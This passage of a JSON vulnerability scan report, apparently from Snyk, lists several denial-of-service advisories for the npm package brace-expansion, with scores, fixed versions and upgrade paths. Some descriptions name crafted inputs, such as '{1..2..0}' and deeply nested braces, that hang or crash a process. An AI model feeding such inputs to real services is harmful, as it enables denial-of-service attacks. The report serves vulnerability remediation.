"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable 